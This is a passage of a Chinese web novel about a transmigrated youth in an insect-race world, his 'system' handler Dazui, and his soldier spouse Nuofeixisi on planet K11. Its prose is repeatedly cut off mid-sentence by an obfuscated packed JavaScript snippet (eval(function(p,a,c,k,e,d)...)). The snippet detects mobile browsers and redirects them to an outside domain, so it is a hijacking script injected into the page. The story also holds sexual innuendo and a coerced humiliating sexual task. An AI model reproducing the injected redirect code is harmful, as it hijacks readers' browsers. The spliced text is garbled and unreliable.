愁人。 怎么哄啊。 “我喜欢的有很多。” 伽迩在嘴里斟酌,语调平铺直叙,像在陈述一个事实:“吃的,玩的,看的。” 他是不想去游乐园的,他怕玩得太开心,忘记自己的任务,玩物丧志了。 但是如果一定要找个理由…… “拉姆不是有座异兽农场吗?” “我想去。” 找叛军的任务有79天的时间供他挥霍,偶尔放慢脚步和诺菲西斯出去玩,也不会耽误太多时间。 劳逸结合。 伽迩给自己找了个心安理得的借口,还给诺菲西斯找了个台阶。 如果能减去些雌虫心里的忐忑,这就不亏。 雌虫心领神会,一下子便展颜笑了起来:“雄主,不知道我是否有这个荣幸能陪您去拉姆的农场游玩呢?” “可以。” 伽迩摸了摸鼻尖,别开了眼睛,觉得这张脸看多久都是不能习惯。 笑起来更是如此。 “去吃饭吧。”伽迩干巴巴地说。 诺菲西斯:“好。” · 诺菲西斯确实是一个很好的伴导,他幽默、健谈、无微不至。 从饮食,起居,再到游玩,无时无刻不关心到伽迩的情绪。 没有人在一个陌生的世界里能做到全然的冷静。 伽迩强撑着的精神在接连的事件中到达了极限,他不过是个刚毕业的高中生,纵然吐槽,自我安慰,也无法掩饰这个事实。 和雌虫的相处像润物细无声的雨点,连滑落都显得小心翼翼,恍然间,那种刚来到虫族世界的焦虑、担忧、迷茫,被他温柔如水的眼眸悄无声息地藏匿。 伽迩想:诺菲西斯如果在星际,一定会是一个很受欢迎的人。 至少他是这么觉得。 假期临时截止,诺菲西斯接到上级发来的指令,预计今晚前往坎德拉菲星系,对驻扎在k11星球的第十二军团进行支援。 伽迩对虫族还是处于摸索阶段,平时会看一些新闻报道了解时事,里面有提及到一个叫“滅”的叛军分子在k11进行活动,造成3名高级军官死亡,18名兵虫受伤。 记者背后的惨烈图景还历历在目,伽迩担心诺菲西斯的安危,但想到他是目标角色,应该不会有危险,抱着这种矛盾的心情,他尝试用不悦的语气说:“你要丢下我不管是吗?” 雄虫的声音还带着刚起床的鼻音,连着话,听起来就像是一种撒娇式的埋怨。 诺菲西斯顿了顿,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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雌虫在K11的任务似乎万分艰难,伽迩通过新闻报道和诺菲西斯的回答,意识到战况的激烈。这群所谓的叛军,是一支远超伽迩想象的庞大队伍,有他们独属的军队。 真的很可怕。 寻找叛军任务进度等于零,大嘴有时会给他布置无关痛痒的任务,他基本都完成了,也掌握了一些节奏。 但除此之外,伽迩在家中无所事事,出去必然要携带随从,回来又是独自一人,和他说话的只剩下机器。 仆虫虽然不像以前那么怕他,但也不会和他说话;嘴巴只有在任务时出现,平时屁都不放一个。 伽迩在自学虫族的一些常识功课时,也难免感觉到孤独。 不是无人说话的孤独,而是单处在一个陌生世界,无人理解的心慌。 「小鬼。」 伽迩在书上做笔记,他刚好在理解一段关于两千年前虫族的文化故事,笔下不停,目光专注。 「小鬼!」 耳边的声音随他叫,伽迩不搭理,这声音的主人前面是如何冷漠无情地拒绝沟通,他还记得。 大嘴砸吧了一下嘴唇,声音软了下来:「小鬼,新任务做不做?」 平时都是用蓝屏显示任务,有时会有提词器提示,这次由大嘴亲自开口,伽迩是好奇的,但迅速闭脑后,将注意力投放在书上,表现出毫不在意。 大嘴明显急了: 「这次的任务有奖励,而且对你做抓叛军的任务也有帮助。」 见伽迩不搭理,它高声补充:「关系到你回归蓝星!」 伽迩笔下一停,笔滚落在桌面上,啪嗒一声。 “什么任务?” 13. 那雄虫挺带劲的 客厅。 在伽迩的身旁,一个圆形的机器正四处巡游,忙个不停。 这个机器有个名字,叫XCY78。它曾记录过一个坏虫的行径,也总结过那坏虫犯下的前科,如今该坏虫已被辞退。 在虫族的世界里,机器是中下层虫族惯用的劳动工具。而雷索家族作为上流贵族,依然保留着最早的劳动体系,同类的服侍无疑凸显出他们地位等级的高贵。整个雷索家,仅有XCY78这一个机器管家,它是由“铸金”精心打造的昂贵商品,价格高达数亿德朗。 平日里,XCY78看起来与普通机器并无二致,甚至显得有些憨态可掬。然而,它的内部程序却异常繁杂,足以管理一片区域的网络。 伽迩对它是好奇的,或许是因为没有其他虫族敢靠近他,伽迩竟然和这个小机器混得颇熟,每天都会聊些琐碎的事情。 某日,投影仪上播放着一档访谈节目。 一个雌虫拿着话筒,询问一个穿戴不错的青年雌虫关于其机器管家FCY的看法。青年雌虫满脸笑容地说:“FCY简直太棒了!”接着,他便开始讲述自己与FCY之间感虫至深的过往。 “现在,富兰克林就像我的家人一样,带给我无尽的温暖和幸福!”青年雌虫咧嘴一笑,还与身后的机器管家紧紧相拥。记者的眼中闪烁着泪光,轻轻擦拭着眼角。 这档原本应该是回访机器管家的节目,意外变成了情感类节目。一个明显的剧本设定,却引发了伽迩的沉思:“XCY78这个名字确实有点拗口,给它换个新名字或许会更好……” 伽迩只是随口嘟囔了一句,没想到XCY78竟然停了下来,圆滚滚的机器身缓缓转过。 “验证中……”电子音响起,“验证成功!伽迩·雷索具有XCY78的命名权。” “请主虫取名!” XCY78轻盈地滑动着飞轮,缓缓靠近伽迩,它的声音稚嫩,偶尔会有电子音的掺和,位于机器头部的长框显示屏里,O.O的眼睛一眨一眨,就这样眼巴巴地望着伽迩。 伽迩放下手,与机器人的目光相遇。 这一刻,一虫一机器,就这么静静地大眼瞪小眼,仿佛在进行一场无声的交流。 “请主虫取名。” XCY78再次发出请求,伽迩沉默片刻,问:“你真的想要一个名字啊?” XCY78没有直接回答,只是那双圆溜溜的眼睛闪动得更加频繁,看起来十分期待。 “你等我想想啊……” 伽迩长叹一口气,真的开始为他想名字。 “圆圆?嗯……听起来太像大熊猫了。” 他自言自语道,然后摇了摇头。 “白白?也不行,这个名字太单调了,没有一点内涵。” 他再次否定了自己的想法。 …… 经过一番头脑风暴,伽迩的嘴唇突然一动,一个名字脱口而出:“糯糯。” 小机器人圆头圆脑,比他稍小一点,四肢短小,白胖的身体让他想到了一种叫汤圆的食物,只有在过节的时候才会吃到,外皮糯糯的,没有味道,咬下去流出来是甜甜的芝麻馅料…… “诺诺。记录中……取名成功!”XCY78的机械音响起,同时它的机械屏上也显示出了新的名字。 伽迩还在回味汤圆的味道,听到“取名成功”的声音才回过神来:“啊,取好了?” XCY78的机械屏上再次显示出几个字:“由「XCY78」改为「诺诺」。名称已修正!” “不是??” 伽迩猛地按住诺诺的两只机械臂,急切地说:“搞错了,改名字!” 此糯非彼诺啊! “核心条例规定,为保证机器的条理性和服务性,短期内不得更改系统名称。”诺诺小心翼翼地说。 “……?” “以后只有诺诺能叫得动你?” “是的。” 诺诺的大眼睛变成了两个弯弯的半圆符号,看起来很开心,伽迩却一点都开心不起来。这代表着,只要找XCY78来帮忙,不管是他、仆虫还是诺菲西斯,都得叫诺诺。 诺诺! 像是偷偷yy,结果把妻子的昵称广为流传一样……羞耻度等级瞬间max。 伽迩一想到这,就抱着头,忍不住痛苦面具。 夭寿。 太夭寿了。 简直是把他的外皮掀开,把里面躲藏的人丢出来反复摩擦。 「服了,你没事给机器人取什么名字。」 大嘴从蓝屏上冒出来,对着伽迩冷嘲热讽:「尽做违反人设的事啊你。」 伽迩摁着太阳穴,疲惫不堪地说:「一边玩去。」 大嘴:「?」 事已至此,伽迩反而冷静下来。错误无法消去,那就遮盖。 “XCY78。” 机器看着他,就是不回话,伽迩知道它听得懂,只是刻意装不懂,无奈之下又道:“诺诺。” “主虫请说。” “这个名字只有你知,我知,虫神知,别的虫不能知道,是我们之间的秘密,姓名归属者只能是我。” 诺诺问:“为什么?” 伽迩抓了抓头发:“没有为什么,听我的,我是主虫。” 名字是伽迩取的,伽迩还是它的控制主虫,诺诺恹恹地说:“好吧。” “修改姓名权限归属者,仅伽迩·雷索。” “等等。”伽迩想了想,既然大嘴说的任务关乎到他能够回归蓝星,那么以后这个家里将不会有他:“加入姓名权限和控制权限归属者,诺菲西斯。” “收到。” 「你干嘛加上他啊?」大嘴不理解地问。 伽迩亲眼看着诺诺把诺菲西斯的名字载入系统,这才安心道:「你不是说我回到蓝星以后,原主会来接替我吗?那诺菲西斯独留在这里,又要被虐待,岂不是很可怜。」 大嘴无语:「不是,你特么圣父啊,他可不可怜关你屁事……而且一个小机器有屁用!」 它实在是不懂伽迩的脑回路,自顾不暇还有空管别人。 「确实。」 伽迩明白这个道理,但不妨碍他想做:「不过你有一点说错了,诺诺挺有用的。」 大嘴不屑一顾:「能有什么用?」 伽迩伸出手指细数:「很多,比如彰显身份地位,主宅财产划分……」 大嘴张大了嘴巴。伽迩挑眉道:「你不知道吗?诺诺身为家族的代理管家,甚至可以充当遗产分割的律师。」他还是从星网上了解到的。 糟了。 大嘴立刻找补:「我只是忘记了,小鬼。」 伽迩若有所思。 看来大嘴对这个世界的了解也不如他想象得多。 …… 在姆拉塔克拉星系的另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921458|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边,一颗星球静躺在坎德拉菲星系的群星带中,迟缓地旋转着。 该星球名叫K11,是虫族近百年发现的新星,其环境恶劣,常有地址塌陷的问题,使得群居变得不可能,但因盛产机械所需的能量晶石而备受重视,一批又一批的士兵被留下来驻守,守护这些宝贵资源,等待每一批的统一运输。 居住在此地的虫族百分之七十是来自其他星球的劳务工,以土蝎、蚁族、蝼族为主,他们充当现役兵及矿工的作用,清剿周边生成的异形,并负责沉积岩层的采矿工作。 近日来,为解决军用能源的短缺问题,采矿量大大增加,同时,叛军也盯上了运输能量晶石的飞梭,目前已有两辆飞梭被强占,其中包括了珍贵的晶石,军部不得不实时警戒,并对此展开战略部署。 在矿区边缘的一处高耸的断崖上,一道身影孤零零地站在岩石尖端。 他束着银白的高马尾,黑色的军服下是被紧身作战衣包裹的肌肉,松垮的墨绿军裤延伸进搭扣的军用长靴,在风的挂扯中勾勒出笔直的腿型。 他扯下黑皮手套,俯视着下方扭曲窜动的异虫。 烈日倾斜,阳光在他深邃的眉骨上分割成光影两面,狭长的海蓝眸底挣脱出浓稠的黑暗,倒是显出粉状的波光粼粼。 “A7。” 身后跳上一个同样穿着军装的男人,青绿的短发随风摇曳,下巴处有青色的胡渣。他调笑似得挑起一边的眉,笑问:“结婚的滋味如何?是不是很爽。” 雌虫轻瞥了他一眼,没有说话,双手的五指交错相握,向前拉伸,顷刻从岩石上跳了下去。 臀骨在飓风中张开粉白的刀翅,劈开风口,哗哗的坠落声中,一朵白色的粉花绽开盛放,轻盈地落进密不透风的异形群落。 埋在花海中的雌虫双膝着地,像一只轻盈的野猫,微微地扯动眼皮,手臂不知何时化成刀刃,上面穿透了一块带血的皮肉,而身后是倒地的声音。 烟尘纷飞的战地,残酷与浓郁的血腥味扑面而来。坚硬的白色虫甲覆盖住雌虫的胸口,念力悬浮在两侧的螳刀上,溅开锋刃口上的血珠。 他缓缓站起了身,看着向他涌来的群落,双腿绷紧,猛然窜进了巨大的异形中。 空气中旋转的刀影像在血雨中漫舞,一连切开数十只异形的核心,血腥味迅速地蔓延,雌虫速度极快地跳跃其中,不知疲倦地切割异形的身体。 青绿色发的雌虫张开虫翅,向充斥异形的地面俯冲下来,化作尖刺的手率先击穿了一个大家伙。 “干嘛不回答?” 雌虫挥动手臂,大家伙就从他的尖刺上滑下,如一滩烂泥地坠落在地上,瞬间蔓延出青紫,仿佛被扼住了喉咙,在嘶吼下加速腐烂。 “不怎么样。” 诺菲西斯抬脚踹开一只靠近的异形,懒洋洋地掀动眼皮:“烦。” “哈哈,谁叫你要做这个任务。” 雌虫嘲笑他,转而又问:“我听说那伽迩·雷索长得挺带劲,你们俩做了没?” 诺菲西斯勾了勾唇,回以一句嘲讽:“要做你做,我恶心。” “啧。” 雌虫还想说什么,诺菲西斯突然一顿,走到另一边稍微干净点的空地,点了一下手腕上的环,显示口瞬间弹出一个立体的全息影像。 白发雌虫笑容灿烂,在视频的死角飞速地割破扑上来的异形喉咙,问:“雄主,您找我有什么事吗?” 14. 带坏 “雄主,您找我有什么事吗?” 视讯的背景是绯红色的天空,银白马尾的雌虫猝不及防地进入视野,伽迩一愣,着急忙慌关掉了视讯。 “就是他啊?” 对面的雄虫关的动作很快,也不妨两个动态视力极好的雌虫一眼抓住了画面中的面孔。绿发雌虫压低了声音道:“好看的,比梦知鸟的雄虫还要漂亮。” “雄主?” 诺菲西斯背过身,轻轻地对收音口道。 伽迩手忙脚乱,都怪这个嘴巴,说些有的没的害他点错了视讯和通话间的按钮。 “嗯。” 伽迩改为通话后,硬憋出一个字来,下一秒非常努力地开了个头:“你那边天气看起来不错。” “是挺好的。” 诺菲西斯望了眼远连绵不断的异形,从腰间抽出一只离子枪,射爆了几只异形的大脑:“K11星的景致很漂亮,就是气候不好,否则真想让您亲眼看一下。” 雌虫的叹息声从通讯里传来,带着惋惜和几分深情:“我想您了,雄主。” “我要来了。”伽迩道。 “……” 诺菲西斯蹙起眉心,绿发雌虫笑得前仰后合,无声地对诺菲西斯道:你不是想他吗?这不就来了。 诺菲西斯的眉眼格外冷淡,几步走到异形扎堆的地方,击杀的动作比先前狠戾得多。 他半笑不笑地抽回螳刀:“您要来了?这是真的吗?” “我好高兴。” 诺菲西斯舔去唇角溅到的血珠,幽深道:“但我更担心您的安危,K11太危险了,有异形,还有叛军,我怕您会受伤。” “我会带护卫,护身甲。”伽迩看着提词板,一阵尴尬的酥麻窜上神经中枢:“更何况不是还有你。” 绿发雌虫吹了声口哨,真想让诺菲西斯看看他现在的表情,像吃了十斤虫shi,太带劲了。 “这里的环境不是很好。粉沙尘多,您身份尊贵,呆在这里,我怕会影响到您的健康。” “没关系,我就是想来看看。还是说你不欢迎我来?” “没有,我当然希望您来。” 诺菲西斯放软了语气:“我无时无刻不在思念着您,渴求与您的再次相见。” “那就今晚。”伽迩确定好时间。 诺菲西斯道:“好。” 通讯结束,周边的异形被清剿殆尽,绿发雌虫大声笑道:“这雄虫蛮好的嘛,说来看你就来看你,好果断!我喜欢!” “K2,太闲了就去矿西清理尼斯蜥蜴。” 诺菲西斯睨了他一眼,嘴角挂着笑:“嗯?” 矿西的尼斯蜥蜴皮糙肉厚,堪比甲虫的防御力,对K2这种用毒的蜘蛛来说,连戳进表层都费劲,杀一群尼斯蜥蜴不得活活累死。 K2连忙摆手,打了个哈哈:“开玩笑的,别当真。” “伽迩·雷索这次来不知道又是为了什么事,去把他最近的行踪发过来。”诺菲西斯的左刃恢复成了手,因为念力包裹,手指干干净净,不留一丝血迹。 K2不满地叫起来:“喂喂,我也是副统领啊,怎么搞得像我是你下属……” “十五分钟发来。”诺菲西斯臀骨上的翅刃发力,一跃而起,跳上了山崖下的一块高大的岩石上,又跳了下去,朝背后的洞穴走去。 K2啧了一声,无奈道:“知道了。” · 伽迩对这次的任务又做下了一张纸的攻略。 大嘴看了不免咂舌,这满满的字,为了走漏洞简直煞费苦心。 「何必呢?诺菲西斯又不知道……」大嘴嘀嘀咕咕。 这任务布置下来就是增加诺菲西斯对伽迩的恶念,增加主角爽感和虐度,可不是给他找bug用的。 「这次也有提词器,提词器可以提前给吗?」伽迩咬着笔头,含糊不清地问。 大嘴撇了撇嘴:「有是有,给你不符合规定。」 「规定?」 伽迩顿了顿:「你们背后还有个组织,有系统的指标规则,专门管理我这样的人是吧?」 大嘴一惊,哀叹道:「小鬼,别再猜了。」再猜底裤都快被扒掉了! 伽迩哦了一声,继续埋头做笔记:「怪不得你一直不怎么说话。」原来是怕自己说漏嘴。 大嘴:「……」 「真的不能给吗?」伽迩抬头又问:「我不是演员,上次面对摩拉斯我就差点演崩,这次的任务那么重要,小小的调整一下嗯……你就没什么权限之类的吗?」 大嘴本想直接说没有,但转念一想,如果就这么拒绝,伽迩岂不是知道他是个没用的系统?以后就更不会尊敬他了。 于是它犹豫了一下,然后咬牙道:「可以,但你要答应我,限定额数的任务一定要做完。尤其是地下黑市买下来的那只蝴蝶翅膀,你一定一定要在诺菲西斯眼前销毁!不允许搞什么投机取巧!」 大嘴的话一字不落地流进伽迩的耳朵,他的眼睫微微垂落,停顿片刻,扣押笔的指节倏然收紧,许久才缓缓写下几个字。 「那个蝴蝶翅膀对诺菲西斯很重要是吗。」 伽迩放下笔,说的是疑问句,语气却是肯定的。 大嘴许久不言,才道:「你没必要知道,小鬼。」 看来是了。 伽迩紧锁着眉心,胸口憋着一股气,不上不下,他合上眼,扫读脑海中大嘴偷偷传来的题词,须臾后睁开,抿着唇不语。 「好。」 少年咬了一下嘴唇,血腥味在口腔中迅速扩散,带来丝丝痛意,他盯着那满攻略的纸,呼出一口气,伸手把它揉作了一团,扔进了垃圾桶。 对不起,诺菲西斯。 他也要回家。 …… 夜晚的K11星寒风凛冽。 伽迩穿着米白色的大衣,脖颈上绕了一圈卡其色的格子围巾,黑发萎靡不振地贴附在脸侧。 他的红眸低垂,略显阴鸷。 诺菲西斯原本是准备来主星接他的,被他拒绝了。他独自搭乘私虫星舰来到K11,手插进兜里,从舱门走出,长久不见的雌虫就站在舱口,穿了一件同款的黑色大衣。 “雄主,辛苦了。” 诺菲西斯噙着笑走来,冰凉的指节撩起雄虫眼前的碎发,撇到一边,不经意间碰到了他的眼脸。 伽迩迟缓地眨了一下眼睛,卷翘的睫毛似冻了一层雪晶,僵硬地望着雌虫眼里的倒影。 里面是一个鼻尖微红的少年。 雌虫调整了一下围巾,把他的鼻尖也稍稍盖住了一些,泛红的一点便看不见了。 “我带您去休息。”雌虫说。 周边站立着一排军装齐整的士兵,踩在脚下,是一层厚厚的、绵密的雪。 由于气候变暖,伽迩所在的地区偏向南方,很少见到如此厚实的雪层,往往落地即化,寒潮来袭才会有薄薄的霜覆盖。 伽迩抬眼看着蓝屏上的任务。 这次是一个系列,拉开列表就有很多个小节点。 大嘴说不用全部完成,只要挑选三个,第四个必须是摧毁翅膀的小任务。 「请完成主线系列任务:来自K11星的访客(1)博物馆的欺.辱」 「目标:完成提词器标红的关键剧情点(1)」 「惩罚:电流4——6级。」 「奖励:不详」 后面还有文字详情,大概介绍了一下博物馆的欺辱是个什么样的剧情,有点像电影的概况。 伽迩花一个下午的时间看下来,十个小节点,除去他挑选的节点,几乎都是不能播出的马赛克。 万事开头难,博物馆是继翅膀之外第二个困难任务,需要在参观的时候引导雌虫发.情,再去卫生间进行一段暧昧的、甚至有些折.辱性的互动,要发出声音让门外的虫族听见。 伽迩在脑内反复诵读,终于拧着眉忍不住问出口:「你们是正经系统吗?」 大嘴:「?正经啊。」 包正经的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921459|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 「除了马赛克还是马赛克。」伽迩不知怎么想起同桌说的话,迟疑道:「你们那个组织……下过海?」 大嘴:「??」 大嘴一下子怒了:「小鬼,你懂下海吗就在这乱用!」是谁在带坏18岁男高中生!知不知道是zu国的花朵啊! “您饿了吗?” 诺菲西斯的声音响起。 伽迩不再多看,对着雌虫点了一下头:“饿了。” “那我带您去中心区的军用餐厅,您觉得怎么样?” 「看提词!提词!!」 伽迩回大嘴一句稍安勿躁,转而和雌虫说:“我想吃你做的。” 「亲自、亲手!!」大嘴嘶吼。 伽迩:“……你亲手做的饭菜。” 诺菲西斯笑道:“您想吃什么?” 大半夜叫人又是接又是做饭,太没良心了。伽迩想了想,提词红字里只要求了四个菜,但没要求做饭的类型,那就可以随意发挥吧。 “我要绿麦菜烧汤,绿麦菜炒蛋,绿……” 「不要再说绿麦菜了———!!」 伽迩吞回了绿麦菜,在大嘴细斯底里的y威下,最终改成了其他本地菜。 大嘴,胜。 晚饭是诺菲西斯亲自下厨。 高挑挺拔的雌虫系上围裙,拿出送上来的新鲜蔬菜,在厨房里清洗。 他穿着高领毛线衣,围裙的绑带将腰系得很紧,下腰切菜的时候,腰下的浑圆曲线不经意露了出来。 “呲啦——”起锅烧油的声音。 烟火的香味飘散出来,勾动伽迩的嗅觉。 绸缎似的银发被一根带子松松垮垮地系在脑后,背对着他的身影忙忙碌碌,却游刃有余,莫名让伽迩想到了“家”。 家啊。 伽迩想起院长在厨房间做饭时,他们这些小孩就很喜欢围着他,叽叽喳喳地叫等开饭。 几颗鸡蛋就能炒出十几个人分量的蛋炒饭,撒上葱花,特别香,大家围坐在一起吃说说笑笑,好像没什么不能过的。 但十四岁以后,这种事就很少有了。 “铛。” 伽迩被声音拉回了思绪,下一瞬,见雌虫俯身放下餐盘,这才惊觉两人距离上的不正常。 他们之间忽然离得很近,又没到贴着的地步,隔着一层温热的空气膜。发丝从雌虫的耳侧滑落,又被单指勾回耳后,恰好露出唇角的黑痣。 雌虫抬起眼,带有弧度的蓝眸直撞他的双眸。 伽迩心脏猛地一抽,摩挲水杯的指尖不禁加快,片刻后,急切地捧起杯子,把莫名跳起来的心脏压了回去。 “雄主,我尝过味道了,不知道您喜不喜欢?” 耳旁的声音像裹了一汪水,湿湿的,潮潮的,冒着热气。 伽迩呼噜一口喝下大半杯,放下杯子:“好。” 他也不知道自己在好什么,就是好,看着雌虫笑,恍惚间又灌下了一杯凉水。 …… 今晚他们也是分床睡。 伽迩和诺菲西斯约好,三天后要去K11星当地的博物馆玩。 雌虫来K11是有任务在身,照常里是没有休假的,但经过伽迩一阵时间的“又吵又闹”,雌虫半是无奈半是宠溺地在伽迩眼前提交休假申请。 随着时代的发展,大家都是朝着成熟的心智走,这一顿“作”让他幻视了幼儿园小孩看见心仪的玩具,往地上一躺,哭着闹着要妈妈买的画面。 ……丢人。 「丢人的事多了去了,小鬼,后面还会更丢人的,你放心吧。」 作为他作精表现的旁观者,大嘴多少让伽迩有些恼羞成怒了。 不知道是不是掩盖这一点,少年与大嘴的对话也变得精简许多。 由于红字特意标注了要穿军装,伽迩在临行前一晚磕绊地提出了他想要的要求。 诺菲西斯欣然同意。 时间很快到了约会当天,他们来到了K11当地的博物馆。 15. 炒他! 作为当地为数不多的展览建筑,洛维博物馆由重金打造,设施和安保都不错。 它分为前中后三厅,前厅是各色的艺术作品,横跨数千年的文物化石,中厅是K11星近千年的历史影院,后厅则是稀有的虫族标本。 排除小任务,博物馆是一个很合伽迩心意的约会点,他对这种带有历史底蕴的东西总是没有抵抗力。 清早,博物馆的虫流量还不高。 伽迩和诺菲西斯来到场馆,兜兜转转地四处逛。 前面的提词还好。 无非是动动咸猪手,搂着雌虫的腰从下至上地摸捏。 到后的标本厅才是重点。 伽迩顶着快蒸熟的大脑,不重不轻地伸入雌虫的衣服后腰,在上面轻轻揉捏了一把,然后迅速地收回了手,再捏了一把。 他维持这样的动作不下数次,连场馆那些期待已久的历史文物都没仔细地欣赏。 看着提词器上的红字被接连打勾,伽迩松了口气。 殊不知这些摸了又撤,撤了又摸的模样,像极了有色心没贼胆、羞涩万分的新婚丈夫,反而把诺菲西斯给摸火了。 后腰的位置烫到发痒,诺菲西斯的余光落在不远处的几对雌雄虫身上,无一例外都是姿势亲密地搂在一起。 刚开始,感觉到那只手伸进衣摆下,诺菲西斯是有些烦躁的,眼神都冰冷了几分。 可还没等他感受到这只手的胡作非为,忽然像缩头乌龟似得窜回去,把他撩得不上不下。 螳螂的虫翅不能飞,像是滑翔翼,起到发力的作用,覆盖了一层单薄紧实的肌肉。 它们平时就被收进臀骨到后腰勾处的翅囊中,有柔软的薄膜保护,外观就是一颗压下去会弹起来的凸起,经不起刺激。 直接揉还好,一触即离更难耐。 「小鬼,诺菲西斯的虫素现在不稳定,你可以准备放虫素出来了!」 伽迩刚结束第一阶段,闻言捏了捏手:「虫素怎么放?」 大嘴震惊:「你来虫族都快两个月了,还不知道怎么放虫素?」 伽迩:「我不是本土雄虫,与生俱来的我不懂。」 大嘴语速极快:「那等会儿你就疯狂想黄.色废料,想得越多越好,等到下面起反应多半就是放出来了,然后你就冲上去抱住他,扛起来就往厕所走,好了拿出你所有看过的小y片剧情,麻利点现在就想!」 伽迩:「?」 “这个就是当前灭绝的兰花螳螂标本。” 就在这时,不远处传来一道声音。 一位穿着黄白工作服的亚雌站在被虫族围绕的中间位置,笑眯眯地解说道:“大家知不知道八百年前影响了主星权利格局的重要战役?” 八百年前的战役…… 伽迩的思绪瞬间拉回,眼眸微敛,脑海中不由地浮现出一行字: “诺索拉卡战役,皇室下台,联邦制度建立,冕花螳正式宣告灭绝。” 诺菲西斯眉心一蹙,其他讨论的声音也戛然而止。 伽迩从沉思中回过神来,发现气氛变得异常安静,所有的目光都聚焦在他身上。 “这位阁下说得完全正确。” 亚雌眼里闪过一抹惊艳,脸颊微红,笑着说道:“您的历史知识真是渊博。” 伽迩意识到自己不小心说出了心声,赶紧解释:“恰好看过。” 亚雌道:“哈哈,您很好学呢。” 大嘴发出尖锐爆鸣:「你别再崩人设了——」 伽迩立刻噤声。 亚雌拿出一个圆形的机器,一副3D图像凭空投射在空气中。 他从圆球抽出根折叠棒,拉伸后,用尖端指着3D中的两个螳螂模型,继续解说道:“大家都知道,螳螂分刀螳和斧螳。刀螳修长高挑,斧螳粗壮有力,兰花螳螂就是属于刀螳一类,又称冕花螳,跳跃、蛰伏的姿态如盛开的兰花,因此得名。” “兰花螳螂的虫形外观极其美丽,发色以浅淡系为主,是八百年前最后一代皇室,他们与普通螳螂的区别是拥有着天生的高精神力,出生即是高级雌虫。都说虫甲分为三级,第三级别特征性虫化是大部分虫族究其一生都达不到的领域,但兰花螳螂可以,他们的强悍有目共睹。” “对了,大家可以看一看这里的兰花标本。” 亚雌用棒子指着巨大的白色螳螂腹部,轻声道:“有没有发现这里的皮层是比较厚的?” “还有这。” 他又绕到螳螂的后方,指着螳螂曲折的大腿上一点,说:“臀区比正常雌虫也要发达一些,曲线十分饱满。” 伽迩跟着亚雌的手指一齐看去。 玻璃墙后的兰花螳螂巨大的虫形态异常可怖,银白刀锋如弯刀垂直下落,刀尖正对着亚雌的头部,网状的复眼直勾勾地看向他们,带来沉重的压迫感。 不知道抱着什么心态,伽迩兀自向前,却被一只手拽住了。 “雄主,前面虫流拥挤,我们还是在边上看吧。”诺菲西斯提醒道。 伽迩顿了一下,颇感遗憾地站在一边。 “听到这里大家就觉得好奇了吧?”亚雌笑着说:“这些脂肪和骨骼皮层,到底是做什么的呢?只是单纯起到保护作用吗?” “做什么的?”有虫问。 “其实……” 吊足了众虫的好奇心,亚雌的视线在他们之间轮转了一圈,最后停在伽迩身上,略带羞意地眨眨眼: “其实这些部分都是为了保护冕花螳的孕腔不受侵害,成功诞下健康的小虫崽哦。” 伽迩:“!” “大家请看3D影像。” 亚雌调出一段视频:“螳螂的生.育能力较强,冕花螳更是其中的佼佼者,当虫米青注入孕.腔,生成虫蛋,内部残余的虫米青将形成薄膜,包裹虫蛋,外骨骼和脂肪是作为第二、第三道防线覆盖其上的。” “如果有螳螂伴侣的阁下,可能会发现交.配时的螳螂腹部格外柔软,被腔.体包裹就像陷入了一团温暖绵软的棉花,那不是棉花,是他们的脂肪和肌肉,只要用力就会牢牢锁住不动,有时候抽.不出来不是因为太窄,而是他们的生歹直机制正在发力哦。” 投射画面把兰花螳螂的腔体结构勾画得清清楚楚,包括如何注米青,如何生成虫蛋,还有肌肉的收缩。 伽迩抱着学习科普知识的想法,正儿八经地看,可听到螳螂伴侣,后知后觉地意识到他现在身处虫族,周边的人其实都是虫。 那这些类似动物世界一样的讲解,放在虫族不就是……y.片解说? 「小鬼,别逃!放虫素!放虫素!!」 伽迩收回了伸出去的腿,僵硬地转回了身体。 大嘴激动道:「想,就拿诺菲西斯想,他就是螳螂!接下来你要去厕所做什么!」 「捆住他,扒开他的军.装,咬他、亲他、抬起他的腿,炒滥他——」 伽迩额角直跳:「停!」节点里哪里有这些情节啊! 还说自己是正经系统,谁信! 但不得不说,大嘴的那些乱七八糟的话很有用,伽迩不想瞎想还是不受控制地发散出去。 诺菲西斯的脸是很符合情人的形象,微翘的眼角总是看起来温柔多情,他的身材很好,宽肩窄腰,背后的曲线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921460|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流畅自然,摸上去的皮肤紧实温滑,手感也是极佳。 